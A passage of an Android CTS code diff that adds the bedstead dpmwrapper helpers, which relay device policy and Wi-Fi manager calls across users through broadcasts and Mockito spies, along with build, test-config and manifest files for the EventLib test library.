+   <receiver android:name="com.android.bedstead.dpmwrapper.TestAppCallbacksReceiver"
+             android:exported="true">
+</code></pre>
+ *
+ */
+public final class TestAppCallbacksReceiver extends BroadcastReceiver {
+
+    private static final String TAG = TestAppCallbacksReceiver.class.getSimpleName();
+    private static final String EXTRA = "relayed_intent";
+
+    private static final Object LOCK = new Object();
+    private static HandlerThread sHandlerThread;
+    private static Handler sHandler;
+
+    /**
+     * Map of receivers per intent action.
+     */
+    @GuardedBy("LOCK")
+    private static final ArrayMap<String, ArrayList<BroadcastReceiver>> sRealReceivers =
+            new ArrayMap<>();
+
+    private static void setHandlerThread() {
+        if (sHandlerThread != null) return;
+
+        sHandlerThread = new HandlerThread("TestAppCallbacksReceiverThread");
+        Log.i(TAG, "Starting thread " + sHandlerThread + " on user " + MY_USER_ID);
+        sHandlerThread.start();
+        sHandler = new Handler(sHandlerThread.getLooper());
+    }
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        Log.i(TAG, " received intent on user " + context.getUserId() + ": " + intent);
+        assertCurrentUserOnHeadlessSystemMode(context);
+        setHandlerThread();
+
+        Intent realIntent = intent.getParcelableExtra(EXTRA);
+        if (realIntent == null) {
+            Log.e(TAG, "No " + EXTRA + " on intent " + intent);
+            return;
+        }
+        String action = realIntent.getAction();
+        ArrayList<BroadcastReceiver> receivers;
+        synchronized (LOCK) {
+            receivers = sRealReceivers.get(action);
+        }
+        if (receivers == null || receivers.isEmpty()) {
+            Log.e(TAG, "onReceive(): no receiver for " + action + ": " + sRealReceivers);
+            return;
+        }
+        Log.d(TAG, "Will dispatch intent to " + receivers.size() + " on handler thread");
+        receivers.forEach((r) -> sHandler.post(() ->
+                handleDispatchIntent(r, context, realIntent)));
+    }
+
+    private void handleDispatchIntent(BroadcastReceiver receiver, Context context,
+            Intent intent) {
+        Log.d(TAG, "Dispatching " + intent + " to " + receiver + " on thread "
+                + Thread.currentThread());
+        receiver.onReceive(context, intent);
+    }
+
+    static void registerReceiver(Context context, BroadcastReceiver receiver,
+            IntentFilter filter) {
+        if (VERBOSE) Log.v(TAG, "registerReceiver(): " + receiver);
+        synchronized (LOCK) {
+            filter.actionsIterator().forEachRemaining((action) -> {
+                Log.d(TAG, "Registering " + receiver + " for " + action);
+                ArrayList<BroadcastReceiver> receivers = sRealReceivers.get(action);
+                if (receivers == null) {
+                    receivers = new ArrayList<>();
+                    if (VERBOSE) Log.v(TAG, "Creating list of receivers for " + action);
+                    sRealReceivers.put(action, receivers);
+                }
+                receivers.add(receiver);
+            });
+        }
+    }
+
+    static void unregisterReceiver(Context context, BroadcastReceiver receiver) {
+        if (VERBOSE) Log.v(TAG, "unregisterReceiver(): " + receiver);
+
+        synchronized (LOCK) {
+            for (int i = 0; i < sRealReceivers.size(); i++) {
+                String action = sRealReceivers.keyAt(i);
+                ArrayList<BroadcastReceiver> receivers = sRealReceivers.valueAt(i);
+                boolean removed = receivers.remove(receiver);
+                if (removed) {
+                    Log.d(TAG, "Removed " + receiver + " for action " + action);
+                }
+            }
+        }
+    }
+
+    static void sendBroadcast(Context context, Intent intent) {
+        int currentUserId = ActivityManager.getCurrentUser();
+        Intent bridgeIntent = new Intent(context, TestAppCallbacksReceiver.class)
+                .putExtra(EXTRA, intent);
+        Log.d(TAG, "Relaying " + intent + " from user " + MY_USER_ID + " to user "
+                + currentUserId + " using " + bridgeIntent);
+        context.sendBroadcastAsUser(bridgeIntent, UserHandle.of(currentUserId));
+    }
+}
diff --git a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/TestAppHelper.java b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/TestAppHelper.java
new file mode 100644
index 0000000..e4d5ea6
--- /dev/null
+++ b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/TestAppHelper.java
@@ -0,0 +1,65 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.bedstead.dpmwrapper;
+
+import static com.android.bedstead.dpmwrapper.Utils.isCurrentUserOnHeadlessSystemUser;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.IntentFilter;
+import android.util.Log;
+
+import androidx.localbroadcastmanager.content.LocalBroadcastManager;
+
+/**
+ * Helper class used by the test apps.
+ */
+public final class TestAppHelper {
+
+    private static final String TAG = TestAppHelper.class.getSimpleName();
+
+    /**
+     * Called by test case to register a {@link BrodcastReceiver} to receive intents sent by the
+     * device owner's {@link android.app.admin.DeviceAdminReceiver}.
+     */
+    public static void registerTestCaseReceiver(Context context, BroadcastReceiver receiver,
+            IntentFilter filter) {
+        if (isCurrentUserOnHeadlessSystemUser(context)) {
+            TestAppCallbacksReceiver.registerReceiver(context, receiver, filter);
+            return;
+        }
+        Log.d(TAG, "Registering " + receiver + " to receive " + Utils.toString(filter)
+                + " locally on user " + context.getUserId());
+        LocalBroadcastManager.getInstance(context).registerReceiver(receiver, filter);
+    }
+
+    /**
+     * Called by test case to unregister a {@link BrodcastReceiver} that receive intents sent by the
+     * device owner's {@link android.app.admin.DeviceAdminReceiver}.
+     */
+    public static void unregisterTestCaseReceiver(Context context, BroadcastReceiver receiver) {
+        if (isCurrentUserOnHeadlessSystemUser(context)) {
+            TestAppCallbacksReceiver.unregisterReceiver(context, receiver);
+            return;
+        }
+        Log.d(TAG, "Unegistering " + receiver + " locally on user " + context.getUserId());
+        LocalBroadcastManager.getInstance(context).unregisterReceiver(receiver);
+    }
+
+    private TestAppHelper() {
+        throw new UnsupportedOperationException("contains only static methods");
+    }
+}
diff --git a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/TestAppSystemServiceFactory.java b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/TestAppSystemServiceFactory.java
new file mode 100644
index 0000000..f5c618b
--- /dev/null
+++ b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/TestAppSystemServiceFactory.java
@@ -0,0 +1,329 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.bedstead.dpmwrapper;
+
+import static android.Manifest.permission.INTERACT_ACROSS_USERS;
+
+import static com.android.bedstead.dpmwrapper.DataFormatter.addArg;
+import static com.android.bedstead.dpmwrapper.DataFormatter.getArg;
+import static com.android.bedstead.dpmwrapper.Utils.ACTION_WRAPPED_MANAGER_CALL;
+import static com.android.bedstead.dpmwrapper.Utils.EXTRA_CLASS;
+import static com.android.bedstead.dpmwrapper.Utils.EXTRA_METHOD;
+import static com.android.bedstead.dpmwrapper.Utils.EXTRA_NUMBER_ARGS;
+import static com.android.bedstead.dpmwrapper.Utils.VERBOSE;
+
+import android.annotation.Nullable;
+import android.app.admin.DeviceAdminReceiver;
+import android.app.admin.DevicePolicyManager;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.ActivityInfo;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.content.pm.PackageManager.NameNotFoundException;
+import android.net.wifi.WifiManager;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.UserHandle;
+import android.os.UserManager;
+import android.util.Log;
+
+import org.mockito.stubbing.Answer;
+
+import java.lang.reflect.InvocationTargetException;
+import java.util.HashMap;
+import java.util.Locale;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicReference;
+
+//TODO(b/176993670): STOPSHIP - it currently uses ordered broadcasts and a Mockito spy to implement
+//the IPC between users, but before S is shipped it should be changed to use the connected apps SDK
+//or the new CTS infrastructure.
+/**
+ * Class used to create to provide a {@link DevicePolicyManager} implementation (and other managers
+ * that must be run by the device owner user) that automatically funnels calls between the user
+ * running the tests and the user that is the device owner.
+ */
+public final class TestAppSystemServiceFactory {
+
+    private static final String TAG = TestAppSystemServiceFactory.class.getSimpleName();
+
+    private static final int RESULT_NOT_SENT_TO_ANY_RECEIVER = 108;
+    static final int RESULT_OK = 42;
+    static final int RESULT_EXCEPTION = 666;
+
+    // Must be high enough to outlast long tests like NetworkLoggingTest, which waits up to
+    // 6 minutes for network monitoring events.
+    private static final long TIMEOUT_MS = TimeUnit.MINUTES.toMillis(10);
+
+    private static final HandlerThread HANDLER_THREAD = new HandlerThread(TAG + "HandlerThread");
+
+    private static Handler sHandler;
+
+    // Caches whether the package declares the required receiver (otherwise each test would be
+    // querying package manager, which is expensive)
+    private static final HashMap<String, Boolean> sHasRequiredReceiver = new HashMap<>();
+
+    /**
+     * Gets the proper {@link DevicePolicyManager} instance to be used by the test.
+     */
+    public static DevicePolicyManager getDevicePolicyManager(Context context,
+            Class<? extends DeviceAdminReceiver> receiverClass) {
+        return getSystemService(context, DevicePolicyManager.class, receiverClass);
+    }
+
+    /**
+     * Gets the proper {@link WifiManager} instance to be used by the test.
+     */
+    public static WifiManager getWifiManager(Context context,
+            Class<? extends DeviceAdminReceiver> receiverClass) {
+        return getSystemService(context, WifiManager.class, receiverClass);
+    }
+
+    private static void assertHasRequiredReceiver(Context context) {
+        String packageName = context.getPackageName();
+        Boolean hasIt = sHasRequiredReceiver.get(packageName);
+        if (hasIt != null && hasIt) {
+            return;
+        }
+        PackageManager pm = context.getPackageManager();
+        Class<?> targetClass = TestAppCallbacksReceiver.class;
+        PackageInfo packageInfo;
+        try {
+            packageInfo = pm.getPackageInfo(packageName, PackageManager.GET_RECEIVERS);
+        } catch (NameNotFoundException e) {
+            Log.wtf(TAG, "Could not get receivers for " + packageName);
+            return;
+        }
+
+        if (packageInfo.receivers != null) {
+            for (ActivityInfo receiver : packageInfo.receivers) {
+                Class<?> receiverClass = null;
+                try {
+                    receiverClass = Class.forName(receiver.name);
+                } catch (ClassNotFoundException e) {
+                    Log.e(TAG, "Invalid receiver class on manifest: " + receiver.name);
+                    continue;
+                }
+                if (TestAppCallbacksReceiver.class.isAssignableFrom(receiverClass)) {
+                    Log.d(TAG, "Found " + receiverClass + " on " + packageName);
+                    sHasRequiredReceiver.put(packageName, Boolean.TRUE);
+                    return;
+                }
+            }
+        }
+        fail("Package " + packageName + " doesn't have a " + TestAppCallbacksReceiver.class
+                + " receiver - did you add it to the manifest?");
+    }
+
+    private static <T> T getSystemService(Context context, Class<T> serviceClass,
+            Class<? extends DeviceAdminReceiver> receiverClass) {
+        assertHasRequiredReceiver(context);
+
+        ServiceManagerWrapper<T> wrapper = null;
+        Class<?> wrappedClass;
+
+        if (serviceClass.equals(DevicePolicyManager.class)) {
+            wrappedClass = DevicePolicyManager.class;
+            @SuppressWarnings("unchecked")
+            ServiceManagerWrapper<T> safeCastWrapper =
+                    (ServiceManagerWrapper<T>) new DevicePolicyManagerWrapper();
+            wrapper = safeCastWrapper;
+        } else if (serviceClass.equals(WifiManager.class)) {
+            @SuppressWarnings("unchecked")
+            ServiceManagerWrapper<T> safeCastWrapper =
+                    (ServiceManagerWrapper<T>) new WifiManagerWrapper();
+            wrapper = safeCastWrapper;
+            wrappedClass = WifiManager.class;
+        } else {
+            throw new IllegalArgumentException("invalid service class: " + serviceClass);
+        }
+
+        @SuppressWarnings("unchecked")
+        T manager = (T) context.getSystemService(wrappedClass);
+
+        int userId = context.getUserId();
+        if (userId == UserHandle.USER_SYSTEM || !UserManager.isHeadlessSystemUserMode()) {
+            Log.i(TAG, "get(): returning 'pure' DevicePolicyManager for user " + userId);
+            return manager;
+        }
+
+        if (sHandler == null) {
+            Log.i(TAG, "Starting handler thread " + HANDLER_THREAD);
+            HANDLER_THREAD.start();
+            sHandler = new Handler(HANDLER_THREAD.getLooper());
+        }
+
+        String receiverClassName = receiverClass.getName();
+        final String wrappedClassName = wrappedClass.getName();
+        if (VERBOSE) {
+            Log.v(TAG, "get(): receiverClassName: " + receiverClassName
+                    + ", wrappedClassName: " + wrappedClassName);
+        }
+
+        Answer<?> answer = (inv) -> {
+            Object[] args = inv.getArguments();
+            Log.d(TAG, "spying " + inv + " method: " + inv.getMethod());
+            String methodName = inv.getMethod().getName();
+            Intent intent = new Intent(ACTION_WRAPPED_MANAGER_CALL)
+                    .setClassName(context, receiverClassName)
+                    .putExtra(EXTRA_CLASS, wrappedClassName)
+                    .putExtra(EXTRA_METHOD, methodName)
+                    .putExtra(EXTRA_NUMBER_ARGS, args.length);
+            for (int i = 0; i < args.length; i++) {
+                addArg(intent, args, i);
+            }
+
+            final CountDownLatch latch = new CountDownLatch(1);
+            final AtomicReference<Result> resultRef = new AtomicReference<>();
+            BroadcastReceiver myReceiver = new BroadcastReceiver() {
+                public void onReceive(Context context, Intent intent) {
+                    String action = intent.getAction();
+                    if (VERBOSE) {
+                        Log.v(TAG, "spy received intent " + action + " for user "
+                                + context.getUserId());
+                    }
+                    Result result = new Result(this);
+                    if (VERBOSE) Log.v(TAG, "result:" + result);
+                    resultRef.set(result);
+                    latch.countDown();
+                };
+
+            };
+            if (VERBOSE) {
+                Log.v(TAG, "Sending ordered broadcast (" + Utils.toString(intent) + ") from user "
+                        + userId + " to user " + UserHandle.SYSTEM);
+            }
+
+            // NOTE: method below used to be wrapped under runWithShellPermissionIdentity() to get
+            // INTERACT_ACROSS_USERS permission, but that's not needed anymore (as the permission
+            // is granted by the test. Besides, this class is now also used by DO apps that are not
+            // instrumented, so it was removed
+            if (context.checkSelfPermission(INTERACT_ACROSS_USERS)
+                    != PackageManager.PERMISSION_GRANTED) {
+                fail("Package " + context.getPackageName() + " doesn't have "
+                        + INTERACT_ACROSS_USERS + " - did you add it to the manifest and called "
+                        + "grantDpmWrapper() (for user " + userId + ") in the host-side test?");
+            }
+            context.sendOrderedBroadcastAsUser(intent,
+                    UserHandle.SYSTEM, /* permission= */ null, myReceiver, sHandler,
+                    RESULT_NOT_SENT_TO_ANY_RECEIVER, /* initialData= */ null,
+                    /* initialExtras= */ null);
+
+            if (VERBOSE) {
+                Log.d(TAG, "Waiting up to " + TIMEOUT_MS + "ms for response on "
+                        + Thread.currentThread());
+            }
+            if (!latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
+                fail("Ordered broadcast for %s() not received in %dms", methodName, TIMEOUT_MS);
+            }
+
+            Result result = resultRef.get();
+            Log.d(TAG, "Received result on user " + userId + ". Code: "
+                    + resultCodeToString(result.code));
+
+            if (VERBOSE) {
+                // Some results - like network logging events - are quite large
+                Log.v(TAG, "Result: " + result);
+            }
+
+            switch (result.code) {
+                case RESULT_OK:
+                    return result.value;
+                case RESULT_EXCEPTION:
+                    Exception e = (Exception) result.value;
+                    throw (e instanceof InvocationTargetException) ? e.getCause() : e;
+                case RESULT_NOT_SENT_TO_ANY_RECEIVER:
+                    fail("Didn't receive result from ordered broadcast - did you override "
+                            + receiverClassName + ".onReceive() to call "
+                            + "DeviceOwnerHelper.runManagerMethod()?");
+                    return null;
+                default:
+                    fail("Received invalid result for method %s: %s", methodName, result);
+                    return null;
+            }
+        };
+
+        T spy = wrapper.getWrapper(context, manager, answer);
+
+        return spy;
+
+    }
+
+    static String resultCodeToString(int code) {
+        // Can't use DebugUtils.constantToString() because some valus are private
+        switch (code) {
+            case RESULT_NOT_SENT_TO_ANY_RECEIVER:
+                return "RESULT_NOT_SENT_TO_ANY_RECEIVER";
+            case RESULT_OK:
+                return "RESULT_OK";
+            case RESULT_EXCEPTION:
+                return "RESULT_EXCEPTION";
+            default:
+                return "RESULT_UNKNOWN:" + code;
+        }
+    }
+
+    private static void fail(String template, Object... args) {
+        throw new AssertionError(String.format(Locale.ENGLISH, template, args));
+    }
+
+    private static final class Result {
+        public final int code;
+        @Nullable public final String error;
+        @Nullable public final Bundle extras;
+        @Nullable public final Object value;
+
+        Result(BroadcastReceiver receiver) {
+            int resultCode = receiver.getResultCode();
+            String data = receiver.getResultData();
+            extras = receiver.getResultExtras(/* makeMap= */ true);
+            Object parsedValue = null;
+            try {
+                if (extras != null && !extras.isEmpty()) {
+                    Object[] result = new Object[1];
+                    int index = 0;
+                    getArg(extras, result, /* parameterTypes= */ null, index);
+                    parsedValue = result[index];
+                }
+            } catch (Exception e) {
+                Log.e(TAG, "error parsing extras (code=" + resultCode + ", data=" + data, e);
+                data = "error parsing extras";
+                resultCode = RESULT_EXCEPTION;
+            }
+            code = resultCode;
+            error = data;
+            value = parsedValue;
+        }
+
+        @Override
+        public String toString() {
+            return "Result[code=" + resultCodeToString(code) + ", error=" + error
+                    + ", extras=" + extras + ", value=" + value + "]";
+        }
+    }
+
+    abstract static class ServiceManagerWrapper<T> {
+        abstract T getWrapper(Context context, T manager, Answer<?> answer);
+    }
+
+    private TestAppSystemServiceFactory() {
+        throw new UnsupportedOperationException("contains only static methods");
+    }
+}
diff --git a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/Utils.java b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/Utils.java
new file mode 100644
index 0000000..5fc2518
--- /dev/null
+++ b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/Utils.java
@@ -0,0 +1,106 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.bedstead.dpmwrapper;
+
+import android.app.ActivityManager;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Bundle;
+import android.os.UserHandle;
+import android.os.UserManager;
+
+import java.util.Set;
+
+/**
+ * Generic helpers.
+ */
+public final class Utils {
+
+    static final boolean VERBOSE = false;
+
+    static final int MY_USER_ID = UserHandle.myUserId();
+
+    static final String ACTION_WRAPPED_MANAGER_CALL =
+            "com.android.bedstead.dpmwrapper.action.WRAPPED_MANAGER_CALL";
+    static final String EXTRA_CLASS = "className";
+    static final String EXTRA_METHOD = "methodName";
+    static final String EXTRA_NUMBER_ARGS = "number_args";
+    static final String EXTRA_ARG_PREFIX = "arg_";
+
+    static boolean isHeadlessSystemUser() {
+        return UserManager.isHeadlessSystemUserMode() && MY_USER_ID == UserHandle.USER_SYSTEM;
+    }
+
+    static boolean isCurrentUserOnHeadlessSystemUser(Context context) {
+        return UserManager.isHeadlessSystemUserMode()
+                && context.getSystemService(UserManager.class).isUserForeground();
+    }
+
+    static void assertCurrentUserOnHeadlessSystemMode(Context context) {
+        if (isCurrentUserOnHeadlessSystemUser(context)) return;
+
+        throw new IllegalStateException("Should only be called by current user ("
+                + ActivityManager.getCurrentUser() + ") on headless system user device, but was "
+                        + "called by process from user " + MY_USER_ID);
+    }
+
+    static String toString(IntentFilter filter) {
+        StringBuilder builder = new StringBuilder("[");
+        filter.actionsIterator().forEachRemaining((s) -> builder.append(s).append(","));
+        builder.deleteCharAt(builder.length() - 1);
+        return builder.append(']').toString();
+    }
+
+    /**
+     * Gets a more detailed description of an intent (for example, including extras).
+     */
+    public static String toString(Intent intent) {
+        StringBuilder builder = new StringBuilder("[Intent: action=");
+        String action = intent.getAction();
+        if (action == null) {
+            builder.append("null");
+        } else {
+            builder.append(action);
+        }
+        Set<String> categories = intent.getCategories();
+        if (categories == null || categories.isEmpty()) {
+            builder.append(", no_categories");
+        } else {
+            builder.append(", ").append(categories.size()).append(" categories: ")
+                    .append(categories);
+        }
+        Bundle extras = intent.getExtras();
+        builder.append(", ");
+        if (extras == null || extras.isEmpty()) {
+            builder.append("no_extras");
+        } else {
+            appendBundleExtras(builder, extras);
+        }
+        return builder.append(']').toString();
+    }
+
+    public static void appendBundleExtras(StringBuilder builder, Bundle bundle) {
+        builder.append(bundle.size()).append(" extras: ");
+        bundle.keySet().forEach(
+                (key) -> builder.append(key).append('=').append(bundle.get(key)).append(','));
+        builder.deleteCharAt(builder.length() - 1);
+    }
+
+    private Utils() {
+        throw new UnsupportedOperationException("contains only static methods");
+    }
+}
diff --git a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/WifiManagerWrapper.java b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/WifiManagerWrapper.java
new file mode 100644
index 0000000..b3f570e
--- /dev/null
+++ b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/WifiManagerWrapper.java
@@ -0,0 +1,77 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.bedstead.dpmwrapper;
+
+import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.ArgumentMatchers.anyBoolean;
+import static org.mockito.ArgumentMatchers.anyInt;
+import static org.mockito.Mockito.doAnswer;
+
+import android.content.Context;
+import android.net.wifi.WifiManager;
+import android.util.Log;
+
+import com.android.bedstead.dpmwrapper.TestAppSystemServiceFactory.ServiceManagerWrapper;
+
+import org.mockito.Mockito;
+import org.mockito.stubbing.Answer;
+
+import java.util.HashMap;
+
+final class WifiManagerWrapper extends ServiceManagerWrapper<WifiManager> {
+
+    private static final String TAG = WifiManagerWrapper.class.getSimpleName();
+
+    private static final HashMap<Context, WifiManager> sSpies = new HashMap<>();
+
+    @Override
+    WifiManager getWrapper(Context context, WifiManager manager, Answer<?> answer) {
+        int userId = context.getUserId();
+        WifiManager spy = sSpies.get(context);
+        if (spy != null) {
+            Log.d(TAG, "get(): returning cached spy for user " + userId);
+            return spy;
+        }
+
+        Log.d(TAG, "get(): creating spy for user " + context.getUserId());
+        spy = Mockito.spy(manager);
+
+        // TODO(b/176993670): ideally there should be a way to automatically mock all DPM methods,
+        // but that's probably not doable, as there is no contract (such as an interface) to specify
+        // which ones should be spied and which ones should not (in fact, if there was an interface,
+        // we wouldn't need Mockito and could wrap the calls using java's DynamicProxy
+        try {
+            // Used by WifiConfigCreator (whish is used by CtsVerifier)
+            doAnswer(answer).when(spy).addNetwork(any());
+            doAnswer(answer).when(spy).enableNetwork(anyInt(), anyBoolean());
+            doAnswer(answer).when(spy).removeNetwork(anyInt());
+            doAnswer(answer).when(spy).getConfiguredNetworks();
+            doAnswer(answer).when(spy).updateNetwork(any());
+            doAnswer(answer).when(spy).saveConfiguration();
+            doAnswer(answer).when(spy).isWifiEnabled();
+            doAnswer(answer).when(spy).setWifiEnabled(anyBoolean());
+        } catch (Exception e) {
+            // Should never happen, but needs to be catch as some methods declare checked exceptions
+            Log.wtf("Exception setting mocks", e);
+        }
+
+        sSpies.put(context, spy);
+        Log.d(TAG, "get(): returning new spy for context " + context + " and user "
+                + userId);
+
+        return spy;
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/Android.bp b/common/device-side/bedstead/eventlib/Android.bp
new file mode 100644
index 0000000..52545a6
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/Android.bp
@@ -0,0 +1,41 @@
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_library {
+    name: "EventLib",
+    sdk_version: "test_current",
+    srcs: [
+        "src/main/java/**/*.java",
+        "src/main/aidl/**/I*.aidl",
+    ],
+    static_libs: [
+        "Nene",
+        "androidx.test.ext.junit"],
+    manifest: "src/main/AndroidManifest.xml",
+    min_sdk_version: "27"
+}
+
+android_test {
+    name: "EventLibTest",
+    srcs: [
+        "src/test/java/**/*.java"
+    ],
+    test_suites: [
+        "general-tests",
+    ],
+    static_libs: [
+        "EventLib",
+        "ActivityContext",
+        "androidx.test.ext.junit",
+        "ctstestrunner-axt",
+        "truth-prebuilt",
+        "testng", // for assertThrows
+        "mockito-target-minus-junit4", // TODO(scottjonathan): Remove once we can get rid of mocks
+        "compatibility-device-util-axt", // used for SystemUtil.runShellCommandOrThrow
+    ],
+    resource_dirs: ["src/test/res"],
+    data: [":EventLibTestApp"],
+    manifest: "src/test/AndroidManifest.xml",
+    min_sdk_version: "27"
+}
diff --git a/common/device-side/bedstead/eventlib/AndroidTest.xml b/common/device-side/bedstead/eventlib/AndroidTest.xml
new file mode 100644
index 0000000..72cb699
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<configuration description="Config for Event Library test cases">
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="EventLibTest.apk" />
+        <option name="test-file-name" value="EventLibTestApp.apk" />
+        <option name="install-arg" value="-t" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="com.android.eventlib.test" />
+    </test>
+</configuration>
\ No newline at end of file
diff --git a/common/device-side/bedstead/eventlib/OWNERS b/common/device-side/bedstead/eventlib/OWNERS
new file mode 100644
index 0000000..ce3438f
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/OWNERS
@@ -0,0 +1,2 @@
+scottjonathan@google.com
+alexkershaw@google.com
\ No newline at end of file
diff --git a/common/device-side/bedstead/eventlib/TEST_MAPPING b/common/device-side/bedstead/eventlib/TEST_MAPPING
new file mode 100644
index 0000000..6aff883
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "postsubmit": [
+    {
+      "name": "EventLibTest"
+    }
+  ]
+}
diff --git a/common/device-side/bedstead/eventlib/lint-baseline.xml b/common/device-side/bedstead/eventlib/lint-baseline.xml
new file mode 100644
index 0000000..467bd49
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/lint-baseline.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<issues format="5" by="lint 4.1.0" client="cli" variant="all" version="4.1.0">
+
+    <issue
+        id="NewApi"
+        message="Class requires API level 28 (current min is 27): `android.app.AppComponentFactory`"
+        errorLine1="public class EventLibAppComponentFactory extends AppComponentFactory {"
+        errorLine2="                                                 ~~~~~~~~~~~~~~~~~~~">
+        <location
+            file="cts/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/premade/EventLibAppComponentFactory.java"
+            line="28"
+            column="50"/>
+    </issue>
+
+    <issue
+        id="NewApi"
+        message="Call requires API level R (current min is 27): `android.content.Context#bindServiceAsUser`"
+        errorLine1="                didBind.set(sContext.bindServiceAsUser("
+        errorLine2="                                     ~~~~~~~~~~~~~~~~~">
+        <location
+            file="cts/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/RemoteEventQuerier.java"
+            line="197"
+            column="38"/>
+    </issue>
+
+</issues>
diff --git a/common/device-side/bedstead/eventlib/src/main/AndroidManifest.xml b/common/device-side/bedstead/eventlib/src/main/AndroidManifest.xml
new file mode 100644
index 0000000..edbb897
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/AndroidManifest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.eventlib">
+    <uses-sdk android:minSdkVersion="27" />
+    <application>
+        <service android:name="com.android.eventlib.QueryService" android:exported="true"/>
+    </application>
+</manifest>
